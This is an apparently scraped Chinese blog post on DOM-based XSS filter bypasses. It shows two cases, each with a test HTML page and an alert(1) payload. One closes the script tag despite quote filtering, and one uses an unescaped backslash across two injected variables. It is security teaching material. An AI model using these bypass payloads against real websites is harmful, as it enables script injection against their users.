三个dom xss常用tips

时间：2021-04-27 20:09:58 阅读：18 评论：0 收藏：0 [点我收藏+]

分享dom xss的三个案例

(1)javascript里面过滤单引号和双引号?

搭建环境:

技术分享图片

只是过滤了单引号和双引号是可以xss的:

使用<>闭合script即可

</script><img src=1 onerror=alert(1)>

技术分享图片

测试代码:

<!DOCTYPE html>

<html>

<head>

<title></title>

</head>

<body>

<script type="text/javascript">

document.write("a=可控点,过滤了单引号和双引号无法闭合");

var a=‘</script><img src=1 onerror=alert(1)>‘;

</script>

</body>

</html>

(2)javascript下过滤了(单引号/双引号/<>...),唯独没过滤反斜杠\:

当可控的两个变量在同一个内容下时:

技术分享图片

测试代码:

<!DOCTYPE html>

<html>

<head>

<title></title>

</head>

<body>

<script type="text/javascript">

document.write("a=可控点,b=可控点,过滤了单引号和双引号无法闭合,同时过滤了<>等特殊字符串");

 

var a=‘a\‘,b=‘;alert(1)//b‘;

</script>

</body>

</html>